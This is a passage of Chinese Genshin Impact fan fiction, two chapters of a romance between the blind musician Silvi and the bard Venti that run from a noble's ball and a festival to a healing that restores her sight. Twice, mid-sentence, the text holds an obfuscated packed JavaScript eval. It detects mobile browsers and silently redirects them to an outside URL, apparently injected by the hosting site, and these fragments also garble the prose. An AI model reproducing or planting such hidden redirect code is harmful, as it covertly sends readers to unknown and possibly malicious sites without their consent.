坐在温迪对面,米蕾好奇地打量着温迪杯子里的深色液体,凑到希尔薇耳边小声说:“那是酒!希尔薇,温迪又在喝酒!” 希尔薇无奈地将兴奋的小妖精轻轻按回自己肩膀上,决定还是跳过这个话题,“好啦,米蕾。” 由于上次在猫尾酒馆的演奏,希尔薇几乎答应了那天所有的演奏邀请,忙得脚不沾地。 不过辛苦付出也有回报,买房的摩拉其实已经攒得差不多了。于是,希尔薇果断地将后续的所有新邀请都婉拒了。 这反而导致那些想邀请她的贵族或富商开出的报酬一个比一个高。 “怎么样?”温迪期待地看着希尔薇尝了一口杂烩菜,眼睛亮晶晶的,“味道还合胃口吗?” 味道比希尔薇想象的要好得多,这位风之神明,未免也太接地气。希尔薇自己不太会做饭,最多只能把食物做熟,至于美味,那更是奢望。 “很好吃,”她真心实意地对温迪称赞道,“真的很美味。” “说起来,”温迪舀起一勺菜,假装不经意地开口,“快到风花节了。” “嗯嗯,”希尔薇点点头,表示自己在听。 温迪继续引导话题:“听说那天会很热闹呢。” “嗯嗯,”希尔薇继续点点头。 “所以,”温迪放下勺子,身体微微前倾,绿色的眼眸带着期待和一丝不易察觉的紧张,“希尔薇小姐……要在风花节那天,为风神巴巴托斯献上一束风之花吗?” “嗯嗯,”希尔薇再次点点头。 “喂!希尔薇!”温迪忍不住抱怨起来,语气带着点撒娇的意味,“你到底有没有在认真听我说话呀?” “当然有哦,温迪。”希尔薇终于放下了勺子,脸上带着狡黠的笑意,决定逗逗他:“关于献花的事情……等到时候再看吧,”她故意卖了个关子。 对于贵族舞会,希尔薇的态度始终如一,既不特别排斥,也不会特别喜欢。虽然会遇到一些讨人厌的傲慢家伙,但同时也能结交到一些真诚可爱的朋友。 因为早就和今晚舞会的主人家打过招呼,说明自己会带一位同伴前来,所以当他们一同出现时,倒也没人对温迪的出现表示异议。 比起最近才在蒙德声名鹊起的希尔薇,这位吟游诗人温迪在蒙德城可是大名鼎鼎。 这位绿衣诗人的琴艺确实出类拔萃,与之同样“出名”的,大概就是他那似乎永远填不满的酒壶和偶尔囊中羞涩的窘境了。 当看到这位出了名的“酒蒙子”诗人亲昵地凑到那位气质温和、却因失明而显得难以接近的盲眼少女身边时,在场许多关注着那个角落的宾客都交换了一个心照不宣的微笑。 然而,有一个人却完全笑不出来,他感觉自己的心像被什么东西紧紧揪住了,又酸又胀。 早在上一次舞会时,他专注的目光就被希尔薇小姐那沉静优雅的气质和动人的琴声深深吸引了过去。 在他看来,希尔薇就像一朵在幽谷中独自绽放的纯净之花。可现在,这朵他心仪的花,却被一个在他看来游手好闲、只会弹琴喝酒的无耻诗人给采摘了去! 弗拉德感觉自己快要被嫉妒的火焰吞噬了,尤其是在看到那个“酒蒙子”变戏法似的掏出一个又大又红的苹果,殷勤地塞到希尔薇手中,还得意洋洋地说:“这可是我找了好久,最大、最甜、连一个虫眼都没有的苹果!希尔薇不尝尝吗?” 而希尔薇竟然真的咬了一口,脸上还露出了清浅却真实的笑意时,弗拉德的理智彻底绷断了。 他怒气冲冲地拨开人群,径直朝那个角落走去。希尔薇其实早已感知到一道充满敌意的视线,但她并不在意。 直到弗拉德气势汹汹地停在她面前,她才有些意外地站起身,用一贯温和却疏离的语气问道:“这位先生,请问您有什么事吗?” 弗拉德的手指几乎要戳到温迪脸上,声音因激动而颤抖:“你!你怎么可以和这种……这种小白脸在一起?!”他开始语无伦次地控诉着不知从何处听来的、关于这位诗人的种种“劣迹”,比如“骗酒喝”、“游手好闲”、“来历不明”等等。 希尔薇脸上的温和瞬间褪去,声音也冷得像蒙德冬日的寒风:“请慎言,先生,请不要这样诋毁我的爱人。” 她特意加重了“爱人”两个字,没有注意到身旁温迪的翠绿眼眸在听到这个词时,瞬间亮得惊人,里面盛满了纯粹的惊喜和温柔。 “无论温迪在别人眼中是什么样子,我们两个人在一起,都是我们自己的事情,跟别人没关系,也轮不到别人来说三道四。”希尔薇的声音清晰而有力,带着不容置疑的维护。 当看到温迪此刻仿佛没骨头般,带着点委屈和依赖,轻轻倚靠在希尔薇身侧,仿佛寻求庇护般地躲在她身后时,弗拉德的怒火更盛,声音也拔高了:“他这种人怎么配得上希尔薇小姐你!你值得更好的!” “这位先生,”希尔薇用更冷的声音打断了他,带着一种凛冽的气势,“您越界了。如果真要谈论‘配得上’这个问题……”她微微垂下眼眸,刚要说出口时,却被温迪抓住了手,她能感受到少年人的头不赞同地摇着。 最终,弗拉德被几位相熟的贵族朋友和主人家好言劝住了。 出了这样的风波,深感抱歉的主人家特意给了希尔薇双倍的报酬。希尔薇后来才得知,那位弗拉德先生是今晚舞会的真正主角之一,这场舞会本身就是为了方便他接触其他贵族小姐而举办的。 弗拉德甚至已经说服了家里同意他迎娶并非贵族出身的希尔薇。 在他看来,自己身家丰厚,顶着贵族的头衔,又不嫌弃希尔薇的盲眼,她绝对没有理由拒绝。可万万没想到,竟被那个可恶的吟游诗人温迪捷足先登了! 离开舞会,走在夜晚安静的街道上,温迪晃着希尔薇的手,语气带着点调侃,又有 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“那就是希尔薇你喜欢的人吗?”葛罗丽的声音带着好奇和一丝了然,“虽然我看不见,但感觉你们两个之间……有种别人都进不去的特别感觉呢。” “嗯,”希尔薇点头承认,想起今天得到的重要消息,她对葛罗丽说:“葛罗丽,我可能找到让你重新看见的方法了。” 听到这话的葛罗丽,第一反应是巨大的欣喜涌上心头,紧接着才是担忧。她敏锐地注意到希尔薇话语中的关键:“让你……看见?那你呢?希尔薇,你的眼睛怎么办?” 希尔薇下意识地想要避开这个话题:“我在舞会上遇到一位来自须弥的学者小姐,她说蒙德城里就住着一位性格古怪但医术高超的医生,对各种疑难杂症都很有研究。而且须弥特产的‘灵光花’,据说对眼睛的某些损伤有着独特的治疗效果。” “所以我打算先想办法弄到灵光花,然后再请那位医生看看。” 葛罗丽依旧不依不饶,声音里充满了焦虑:“那你呢,希尔薇?为什么只考虑我?你的眼睛难道不重要吗?” 希尔薇沉默了一下,轻声解释:“我们两个失明的情况不一样。葛罗丽,你的失明是后天意外造成的。而我……是因为小时候体内力量冲突,伤到了重要的地方引起的。” “这是旧伤,情况可能更复杂,”她不想让葛罗丽有太大希望又失望。 “请不要这样,希尔薇!”葛罗丽的声音带上了一点哭腔,充满了内疚,“我什么都没为你做,不值得你花那么多摩拉和力气去找那些可能根本没用的东西……” “怎么会不值得呢?”希尔薇立刻握住葛罗丽的手,声音温柔却坚定,“你是我的朋友啊,我想,真心对朋友好,谁会把情谊和摩拉放在天平上比来比去呢?”说完这句话,她自己也愣了一下,仿佛想到了什么。 安慰好情绪激动的葛罗丽,希尔薇心里却沉甸甸的。她原本打算告诉葛罗丽自己很快就要搬出去住的事情,此刻却怎么也开不了口了。 这可真是让人为难啊。不太擅长处理这种离别场景的希尔薇想着,她可以去面对挑剔的听众,可以去应付难缠的雇主,唯独不能坦然面对亲密朋友可能流露出的失落和不舍。 第二天下午,希尔薇在蒙德城中心广场边散步边想着心事,差点撞上一个行色匆匆的身影。 定下神一看,竟然是罗莎莉亚修女,她脚步飞快,眉头微蹙,似乎在忙着处理什么棘手的事情。 当看到希尔薇时,罗莎莉亚眼睛一亮,像是看到了救星:“希尔薇?现在有事吗?” 希尔薇刚摇摇头表示没事,就被罗莎莉亚一把拉住了手。 “正好!”罗莎莉亚语速依旧快,但带着点她特有的慵懒和不容拒绝,“芭芭拉那孩子,这次是真发火了。堵着我,说‘唱诗班十五个人一个也不能少。不管你用什么方法,这次必须到场!’” 罗莎莉亚模仿着芭芭拉气鼓鼓的样子,嘴角却挂着一丝无奈又有点烦的弧度。 “啧,躲不过去了...希尔薇,帮个忙,替我去凑个人头?就这一次,应付过去就行。” 当得知罗莎莉亚希望自己代替她去参加唱诗班排练活动时,希尔薇连连摆手,有些慌乱:“我?我恐怕不行啊,罗莎莉亚!我完全不会唱歌,也不懂唱诗班的规矩……” “无所谓。”罗莎莉亚不由分说地拉着她就走,语气带着点她特有的冷淡敷衍,“你只要在那儿站着,别出声都行。芭芭拉要的是‘十五个’,不是十五个会唱歌的。” 她顿了顿,又补充,“总比让她继续念叨我强。” 罗莎莉亚都这么说了,态度又如此坚决,希尔薇实在不好拒绝,只能半推半就地被她拉着走向教堂区,最后被带进了罗莎莉亚那间几乎没什么生活气息的房间。 罗莎莉亚翻箱倒柜,找出了西风教会每年都会发放的标准修女服。 她自己的那套早就被改得“面目全非”——下摆被裁短,袖子被改成利落的窄袖,是那种连最温和的修女看了都会摇头叹气、直呼“不像话”的“改造版”。 19. 风语[十九] 西风骑士团的唱诗班,一听就是专门赞颂神明的。虽然希尔薇心里有些打鼓,但已经答应了罗莎莉亚,她也只能硬着头皮上了。 罗莎莉亚身高一米七,她的修女服穿在希尔薇身上,裙摆刚好到膝盖,看上去倒也合身。 罗莎莉亚帮希尔薇整理好衣襟,随口说道:“这衣服你穿着合适,就不用还了,这种标准修女服我多的是。” 唱诗班的位置很好找,穿过中心广场的风神像,直接进入西风教会就是集合地点。 眼看排练时间快到了,罗莎莉亚还没出现,芭芭拉急得直跺脚。这位修女总是这样神出鬼没,让她毫无办法。 轻柔的脚步声在空旷安静的教堂里格外清晰,众人的目光不由得投向门口。 阳光透过彩绘玻璃窗,柔和地洒在来人身上,映亮了那张最近在蒙德城声名鹊起的脸庞,那位盲眼的演奏家希尔薇小姐。 她走到人群中,对芭芭拉解释道:“罗莎莉亚修女临时有急事无法前来,所以我来代替她。” “啊?”芭芭拉当然知道罗莎莉亚八成是不会来了,那句“必须到场”更多是气话和期望,但她万万没想到,罗莎莉亚居然真的找了个人来顶替,而且找的还是希尔薇。 这位善良又有点无奈的祈礼牧师只好叹了口气:“好吧,好吧,希尔薇小姐,你……”她话还没说完,目光被希尔薇身边飞舞的小妖精米蕾吸引,便将希尔薇引导到罗莎莉亚的位置上。 唱诗班的活动确实如罗莎莉亚所抱怨的那般枯燥,难怪她避之不及。 在跟着众人完整地唱了一遍赞颂风神的诗歌后,凭借敏锐的听觉和记忆力,第二遍时,希尔薇已经能跟上大家的节奏了。 站在她旁边的修女很照顾她,小声提醒着歌词和旋律。然而,当希尔薇清越的歌声响起时,两边的修女都忍不住频频向她投来惊讶又欣赏的目光,这让希尔薇感到有些局促。 排练结束后,满怀歉意又觉得麻烦到希尔薇的芭芭拉说什么都要亲自护送她回去。 推辞不过芭芭拉的好意,希尔薇只好让她陪同自己到中心广场就好,因为快到她在猫尾酒馆演奏的时间了。 唱诗班在为几天后的风花节庆典加紧排练。休息间隙,好几位修女都热情地询问希尔薇是否愿意加入西风教团。 一位年长的修女还列举了加入教会的诸多好处,比如提供食宿、稳定的生活、以及服务风神的荣耀感。 如果是初到这个世界、还在为摩拉发愁的希尔薇,或许真的会心动。 但现在,她只是委婉而坚定地拒绝了修女们的好意。 “唉……”望着芭芭拉护送希尔薇离去的身影,不知是谁轻轻叹了口气,“要是能邀请到希尔薇小姐加入就好了,她和芭芭拉小姐站在一起,绝对是西风教会最亮丽的两道风景线,肯定会吸引更多人前来礼拜吧。” 当希尔薇穿着未来得及换下的修女服走进猫尾酒馆时,因为好心的芭芭拉坚持要护送到目的地才放心,玛格丽特老板立刻啧啧有声地围着她转了一圈,促狭地笑道:“哎呀呀!希尔薇小姐,这是什么时候的事?在我不知道的时候,你已经加入西风教会了吗?” 希尔薇的脸颊微微泛红,赶紧把罗莎莉亚拜托她顶班的事情解释了一遍:“玛格丽特小姐,请不要这样打趣我了。” 随后她照例进行了演奏。在猫尾酒馆享用完下午茶后,希尔薇才留意到,最近酒馆里风靡起一种名叫“七圣召唤”的卡牌游戏,据说是从须弥那边传来的。 闲来无事的迪奥娜热心地为希尔薇讲解了玩法,希尔薇只是觉得新鲜有趣,但小妖精米蕾却已经跃跃欲试,非要拉着希尔薇和迪奥娜玩上一局。 米蕾兴奋地坐在希尔薇肩膀上,一边挥舞着小手,一边指挥着她该出哪张牌。眼看胜利在望,小妖精开心得飞了起来,还想再来一局。 不过,当她看到希尔薇的眼睛时,又立刻懂事地改口说不玩了。 迪奥娜笑着递给米蕾一个精致小巧的卡盒:“喏,这个给你。只要两个人都有卡组,随时都能感应到对方,随时随地都可以来上一局七圣召唤哦!” 蒙德与须弥之间隔着辽阔的璃月,灵光花虽不算极其稀罕,但也非蒙德本土之物。 好在希尔薇开出的报酬丰厚,想来再过几天就能送到。然而,那位脾气古怪的医生拒绝了摩拉,提出了一个意想不到的要求:他要一件蕴含着“风神气息”的物品。 风的气息……希尔薇记得似乎听过类似的故事,那位晨曦酒庄的迪卢克老爷好像曾收集过这类东西,她并不想直接去求助于温迪,那样未免太过“作弊”,也太依赖他的身份了。 一些古老的遗迹中或许会有这样的残留物?希尔薇打算先去图书馆查阅些资料再做打算。 如果通过正常途径购买蕴含风神气息的物品……希尔薇简直不敢想象那会是什么天价。 据说“荣光之风”的店主玛乔丽曾收到过一件,最后竟卖出了令人咋舌的高价。 走在路上,希尔薇还在思考着这件事。她打算先去把之前借的书还掉,再向那位学识渊博的图书管理员丽莎小姐打听打听。 她已经隐隐察觉到,那位外表慵懒的魔女小姐身上有种不同寻常的气质。蒙德城表面上平和安宁,暗地里还真是卧虎藏龙呢。 路过“天使的馈赠”酒馆时,希尔薇的脚步不由自主地停顿了一下。 无需掩饰,也无需犹豫,她轻轻推开门,感知力瞬间扫过整个空间,没有捕捉到那熟悉的、带着清风与苹果酒气息的存在。她默默关上门,继续走向图书馆。 还完书,又向丽莎咨询了一些关于可能残留风神气息的古遗迹信息后,希尔薇漫步在蒙德傍晚的街道上。 一个清朗熟悉的声音带着笑意,如同微风般拂过她的耳畔:“夜风凉爽,正是适合成为神之使徒的好天气呢。那么事不宜迟,快来向我献上供奉吧?” 希尔薇停下脚步,微微侧头朝向声音的来源,穿着修女服的她此刻没有戴头纱,晚风吹拂着她柔软的金发和素白的裙摆:“那么,你想要什么呢,巴巴托斯大人?” “啊?”温迪似乎被这直白的称呼噎了一下,随即恢复了惯常的语调,带着一丝调侃,“咦?不是应该由神的使徒主动献上供奉吗?直接问神明想要什么,这可不够虔诚哦。”他的声音里带着明显的笑意。 “好吧。”希尔薇像是想到了什么。在她的感知里,周围散步的人似乎有点多了。她提议道:“那我们一起去个安静点的地方吧。” 两人来到了西风教会后方一处僻静、地势略高的地方,这里可以俯瞰蒙德城的一角,月光如水般倾泻而下。 “我会献上我的供奉,巴巴托斯大人。”希尔薇说着,伸出手,指尖轻轻挑起温迪垂在肩侧的发辫,一个轻柔的吻落在了那泛着微光的发丝上。 她能清晰地感受到,在她做出这个动作的瞬间,周围温和流淌的风元素力骤然紊乱了一下,温迪似乎小声嘟囔了句什么,声音轻得几乎被风吹散。 希尔薇从未专门为任何人跳过舞,但她确实认真学习过那些古老而庄重的祈神之舞。此刻,在清冷的月光下,她对着眼前这位既是吟游诗人又是风之神的爱人,舒展身体,跳起了一支虔诚的祈神之舞。 在古老的信仰里,人们相信通过真诚的祈祷与献祭,便能获得神明的注视与赐福。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969826|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她的舞姿并不华丽繁复,却带着一种纯粹的心意,仿佛在无声地倾诉: 我给你一个从未有过信仰之人的全部忠诚。 无论是作为吟游诗人的温迪,还是作为风神的巴巴托斯,希尔薇爱一个人,就会爱他的全部。这,便是她能给出的最重的承诺。 那只金色的蝴蝶落到了他的指尖,等到琴声散去,等到月色正好,温迪亲吻了那只金色的蝴蝶。 风吹起,风拂过,风轻吻…… 来自须弥的灵光花终于送到了。希尔薇知道,温迪虽然不问不说,但风会将一切信息带给他。 那位热心的旅行者空效率高得惊人,看希尔薇的眼神也带着一种完成了重大委托的满足感——毕竟那可是500原石的丰厚报酬!在旅行者超凡的行动力下,不到一天,蕴含着纯净风神气息的物品便交到了希尔薇手上。 好消息,葛罗丽的眼睛能治,这简直是最好的消息。葛罗丽激动得几乎说不出话,尤其是在那位性格古怪却医术高超的医生走后。 希尔薇握着葛罗丽的手,脸上带着由衷的笑容:“葛罗丽,你知道的,我以后恐怕会和温迪一起生活,再住在这里就太麻烦你了。” “不要伤心嘛,”希尔薇笨拙但真诚地安慰着,“要等你的眼睛完全康复,我才会搬走的。所以,葛罗丽,请不要现在就露出这样难过的表情。” 葛罗丽摸索着,紧紧回握住希尔薇的手,声音哽咽:“谢谢你,希尔薇。真的……真的非常谢谢你。”她抬起头,尽管看不见,却虔诚地面向远方:“巴巴托斯大人在上,感谢自由的风让我们相遇。” 风花节庆典当天,蒙德城变成了鲜花与诗歌的海洋。 “什么呀!”派蒙在半空中跺着小脚,看着正在风神像下摆弄着莱雅琴、身边还立着个小木牌的温迪,一脸难以置信,“你这个不务正业的风神!居然真的在这里开什么‘情诗速成班’?!” 空看看一脸促狭笑容的温迪,又看看那块写着“风花节特供·情诗灵感辅导(免费)”的木牌,果然感到一丝无语。 毕竟谁能想到,在蒙德最盛大、最浪漫的节日里,风神巴巴托斯本尊会坐在自己的神像脚下,开设免费的情诗培训班呢?这简直太不符合常理了。 风神像下,虔诚的信徒们早已供奉上了洁白的塞西莉亚花和新鲜的风车菊。这种生长在摘星崖峭壁上的花朵,有着如月光般纯净无瑕的花瓣和清新淡雅的香气。 派蒙看看温迪帽子上那朵标志性的塞西莉亚花,刚想大声吐槽“你这浪子的真心到底在哪里”,就见原本还悠闲拨弄琴弦的少年,如同被一阵清风托起般,瞬间轻盈地“飞”到了一位刚刚走近的盲眼少女身边。 “你来了,希尔薇。”温迪的声音里是毫不掩饰的喜悦。 希尔薇微笑着点头。派蒙飞到温迪身边,终于把憋着的话喊了出来:“喂!温迪!你这个到处送情诗的家伙,自己的真心到底在哪里啊?” “浪子的真心不就在这里吗?”希尔薇话音刚落。 派蒙突然意识到了什么,看看希尔薇,又看看温迪瞬间变得温柔又有点不好意思的脸。 温迪心里暗暗庆幸:幸好希尔薇看不见,不然他此刻眼中浓得化不开的爱意,根本无处可藏。 还没等派蒙惊呼出声,希尔薇却仿佛心有所感。 她凭着感觉伸出手,准确无误地从温迪的帽檐上摘下了那朵他常年佩戴的塞西莉亚花。她一只手拿着花茎,洁白的花朵正对着高大的风神像,也指向了沐浴在节日光辉下的蒙德城。 她再次开口,“浪子的真心,不就在这里吗?” 祂说,要建立无人称王的自由城邦。 20. 风语[二十] 温迪只好用拨弄琴弦的动作来掩盖自己的紧张,他甚至不敢去看希尔薇,不敢去看她手中的那朵特别的塞西莉亚花。 派蒙像是发现了什么有趣的事情,在旅行者耳边叽叽喳喳地说着什么。 米蕾绕着几个人飞了几圈,小脸上满是困惑。 她不明白这些大人为什么看起来怪怪的,气氛又紧张又甜蜜。 毕竟要理解这种复杂的情感,对于一个心智如同三四岁孩子的元素精灵来说还是太难了。 风花节的情诗速成班渐渐围了不少好奇的蒙德居民,希尔薇安静地坐在风神像下,怀中抱着温迪那架莱雅琴,指尖轻轻拨弄着琴弦。 玛格丽特今天给她放了假,毕竟没有哪位酒馆老板会舍得让这样一位特别的少女在风花节还来猫尾酒馆上班的。 她听着温迪温柔又带着点狡黠的声音,指尖流淌出的旋律仿佛与风共鸣,应和着他的讲解。 等到情诗速成班的热闹散去,那位绿衣诗人立刻凑到希尔薇身边,带着一丝不易察觉的期待,只见希尔薇从她随身携带的小布袋中,小心翼翼地拿出一朵塞西莉亚花。 说是塞西莉亚花,却又不太一样。那朵花并非自然生长,而是希尔薇用一块蕴含风元素力的、质地温润的特殊矿石,一点点亲手雕刻而成的。 她一遍遍摸索着真实的塞西莉亚花瓣,听着米蕾在她耳边详细的描述和指导,耗费了许多心力才完成了这件作品,虽然细节上可能不如真实花朵那般完美。 在这样一个充满爱与诗歌的盛大节日里,希尔薇轻声说道:“温迪,我送你一朵永不凋零的塞西莉亚。” 接着,她的指尖凝聚起纯净的风元素,那些青色的光点在她掌心跳跃、塑形,最终化作一朵散发着微光的、由风构成的塞西莉亚花虚影。 她温柔地将这朵风之花,连同那朵矿石雕刻的永恒之花,一起别在了温迪的耳边。 当初在森林里,安抚痛苦的巨龙特瓦林时,她在琴声中祈求元素的回应。风的神明听见了她的呼唤,于是纯净的风元素缠绕上她的琴弦,给予了回应。 如今,这位尘世间最好的吟游诗人向她献上了真挚的爱意。 希尔薇觉得,自己也该为他做些什么。她学着温迪的样子,轻轻吻了吻他的额头,微笑着说:“这是第一件礼物。” 希尔薇牵着温迪的手,在米蕾的指引下,穿过蒙德城洋溢着节日气氛的街道,来到一栋位于广场边缘、能听到风车转动声的房子面前。 然后,希尔薇将一把特意挂上了小巧塞西莉亚花饰品的黄铜钥匙,郑重地放进了温迪的掌心。 她在尝试一件看似不可能的事情,她在请求自由自在的风,停留的下来。 “这是第二件礼物,”她侧头面向温迪,解释道,“我听旅行者提起过,你曾送了他一些家具和图纸。所以我想……”希尔薇微微停顿了一下,似乎在组织语言,“所以我想,将它送给你。” 她将钥匙轻轻推进温迪的手里,“温迪,你愿意接受这个……礼物吗?” “当然愿意!”温迪的声音带着一丝不易察觉的哽咽,他几乎是立刻回答,生怕慢了一秒希尔薇就会改变主意。 他怎么会拒绝呢?这简直是他漫长生命中最意想不到、最珍贵的礼物之一。 他感觉自己有点手足无措,手指微微颤抖着接过了那把沉甸甸的钥匙。 他深吸了一口气,才稳定住手指,将那把象征着“家”的钥匙插进锁孔,轻轻转动。 门开了。 房间里面收拾得很干净,但也很空旷,只有最基本的几件家具。希尔薇脸上露出一丝苦恼:“果然还是太空了……我不知道你喜欢什么风格的家具,加上我的眼睛看不见,所以……你愿意接下这个装修的任务吗” “当然愿意!”温迪再次肯定地回答,声音里充满了雀跃和感动。 这位尘世中最温柔的风,似乎真的愿意为眼前的人,在这间小小的房子里停留下来。 正如他说的那样,我现在会为你歌颂美好的万物万象——四季轮转,□□从不止息。 …… 温迪几乎已经等不及了。他迫不及待地想要希尔薇能够亲眼看看这个世界,看看蒙德,看看他们共同布置的家,看看……他。 为此,他不厌其烦地去叨扰璃月的那位老朋友,直到最近,那位古老的神明才终于松口,说准备得差不多了。 布置新家的过程充满了甜蜜。挑选家具时,两人常常一起出门。 温迪会暂时将自己的视觉与希尔薇共享,让她能“看见”并挑选自己喜欢的样式。 当然,每次温迪卖唱挣来的那点微薄摩拉,大部分都贡献给了天使的馈赠,所以置办家具的主要摩拉来源还是希尔薇。不过两人都毫不在意这个。 希尔薇还特意在门口钉了一个小巧的木箱,如同一个约定,每次里面总会安静地躺着一束新鲜的塞西莉亚花或风车菊。 “希尔薇,”有一天,温迪的声音带着难以抑制的兴奋和一丝紧张,“我找到……我找到让你看见的方法了!” 他似乎预感到希尔薇会说什么,在她开口前就急忙补充道:“这不是风神的馈赠!这是温迪,作为你的恋人,想要送给你的礼物。一件……可能有点辛苦,但非常值得期待的礼物。” 他翠绿色的眼眸认真地看着希尔薇的方向,带着恳求,“希尔薇小姐,你不会拒绝我的吧?” “怎么会呢,希尔薇牵起温迪的手,抚上他温热的脸颊,感受着他说话时细微的震动,语气温柔而坚定,她说,”我永远不会拒绝你的,温迪。” 不久后,温迪抱着希尔薇,乘着柔和的清风,飞向了遥远的璃月。 风温柔地托举着他们,温迪一边飞,一边向希尔薇描述着下方掠过的壮丽山河。希尔薇靠在他怀里,嗅着陌生的璃月山水气息,乖巧地点头。 在云雾缭绕的奥藏山,留云借风真君和她的人类弟子申鹤,以及以凡人身份“钟离”行走的岩之神摩拉克斯,已经等候在那里。看到温迪牵着希尔薇的手降落,钟离的目光温和地落在希尔薇身上。 风的神明说:“这是我的爱人,希尔薇。” 一个特意开辟出来的温泉池中,已经按照仙家秘方投放了各种珍贵的天材地宝。对于拥有漫长岁月的仙人和魔神而言,这些珍稀材料虽不易得,却也并非无法承受。 希尔薇换上了一身素净的白色衣裙,在申鹤的搀扶下,慢慢步入药香氤氲的温泉。起初,温暖的泉水包裹着她,带来舒适感。 但很快,一股难以言喻的剧痛从四肢百骸传来,仿佛有无数细小的针在同时刺穿她的经脉,又像是无形的力量在强行重塑她体内早已断裂、混乱的魔力回路。 这痛苦远超她当初魔力回路破碎时的感受,让她几乎无法呼吸。 她能清晰地感觉到,温泉中蕴含的药力,正霸道地冲刷、修复着她受损的根基,强行贯通那些淤塞的魔力回路。 剧烈的痛苦让她忍不住发出压抑的痛哼,身体不受控制地微微颤抖。 温泉外,温迪坐在一块岩石上,怀里抱着他的琴。他努力想用轻快的琴声为里面的爱人带去一丝慰藉。 然而,当希尔薇压抑不住的痛苦呻吟清晰地传出来时,温迪的手指猛地一颤,一个刺耳的音符突兀地响起,他的琴乱了,心也乱了。 他只能胡乱地拨动着琴弦,试图掩盖内心的慌乱。 任何人都想将自己最好的一面展示在爱人面前,希尔薇也是,所以她对温迪说,你在外面等我就好了,请不要进来,不要看见我这么狼狈的样子。 米蕾则急得在温迪身边团团转,小小的妖精急得快哭了:“都什么时候了你还弹琴!希尔薇在里面受苦啊!”随着与希尔薇契约的加深,米蕾的灵智也在缓慢增长,此刻她满心都是对希尔薇的担忧。 她气愤地用小拳头锤着温迪的肩膀:“我听见了!希尔薇在哭!她很痛!你就不能想想办法吗?” 就在温迪第三次安抚住焦躁的米蕾时,温泉入口处有了动静。希尔薇被申鹤搀扶着,极其虚弱地走了出来。她的脚步虚浮,几乎站立不稳,全靠身旁申鹤的支撑。 温迪立刻冲上前,小心地接替申鹤扶住她。希尔薇身上那件白色的衣裙已经被泉水浸透,紧紧贴在身上,更刺目的是,衣裙上晕染开大片的、触目惊心的淡红色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969827|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的眼角也残留着未干的血迹。 她的声音虚弱得几乎听不清:“不必为我担心的,米蕾……还有温迪……” 风吹过她,试图治愈她。 这样的治疗过程,还需要再进行两次。 因为第二次治疗时,米蕾看到希尔薇出来时比第一次还要虚弱,衣裙上的红色更浓,整个人仿佛从血水里捞出来一样,心疼得再也不肯离开希尔薇身边。 所以最后一次治疗时,希尔薇没有带米蕾同去璃月。 当希尔薇最后一次从温泉中出来时,她的状态让除了早有预料的钟离外都倒吸一口冷气。 申鹤和温迪小心翼翼地照料着她,为她清理、换上干净衣物。最后,留云借风真君亲自用浸满药液的纱布,仔细地将希尔薇的双眼缠绕包裹起来。 “接下来,只需静养三日。三日后解开纱布即可。”钟离沉稳的声音带着让人安心的力量。 回到蒙德的家,等待的三天里,米蕾几乎成了希尔薇的小小守护神,寸步不离。 她对温迪也颇有怨气,觉得都是这个“可恶的诗人”让希尔薇受了这么大的苦,连七圣召唤都不愿意跟他玩了。 当然,她心里也明白希尔薇是自愿的,但米蕾的逻辑很简单:希尔薇受苦=温迪的错,而且玩牌的时候,她可没少发现温迪偷偷用风元素力作弊的小动作! 第三天清晨,阳光透过洁净的玻璃窗,温柔地洒满了房间。希尔薇长长的睫毛微微颤动,然后,缓缓地睁开了双眼。 世界不再是永恒的黑暗。 首先映入眼帘的,是近在咫尺的、熟睡中的爱人的面容。晨光勾勒着他柔和的轮廓,黑色的发丝散落在枕畔,发梢带着一种如同晴朗天空般的美丽蓝色。 她几乎是屏住了呼吸,小心翼翼地伸出手,带着无尽的珍视和好奇,轻轻拨开他额前的一缕碎发,想要更清晰地看看这张早已刻入她灵魂的面容。 就在这时,温迪也恰好睁开了眼睛。清晨的阳光落在他翠绿色的眼眸中,像是融化的宝石,清澈而温暖。 他刚睡醒还有些迷糊,就看到一双盛满了阳光、专注地凝视着自己的金色眼眸。 那目光如此直接、如此专注,仿佛她的整个世界都浓缩在了他的身上。温迪的心跳瞬间漏了一拍,脸颊“腾”地一下变得通红。 他万万没想到,自己醒来面对的第一个“视觉冲击”会是如此……具有杀伤力!他下意识地拉起被子就想把自己藏起来,声音带着刚睡醒的沙哑和明显的害羞:“别……别这样看我,希尔薇。” 希尔薇愣了一下,随即眼中漾开温柔的笑意。她轻轻拉开温迪试图遮挡的被子,双手捧起他泛红的脸颊,金色的眼眸认真地、带着一丝调皮地再次追问:“我不可以这样看你吗,温迪?”她的目光坦荡而炽热。 “真、真的,太作弊了啊……”温迪感觉自己快要烧起来了,支支吾吾地说不出完整的话。希尔薇的注视仿佛带着魔力,让他既甜蜜又羞赧。 看着他这副可爱的模样,希尔薇的笑意更深了。 她再次拨开他略显凌乱的发丝,俯下身,带着满心的爱恋和感激,轻柔的吻如同羽毛般,先是落在他的额头,然后是轻颤的眼睑,最后,珍重地印在他柔软的唇上。 “温迪,”她退开一点,金色的眼眸里仿佛装满了他的模样,声音轻柔,“我欣喜于能够看见这样的你。” “能够看见阳光,看见风车,看见塞西莉亚花,看见……我深爱的你。这比我想象的一切美好,加起来还要美好一万倍。” 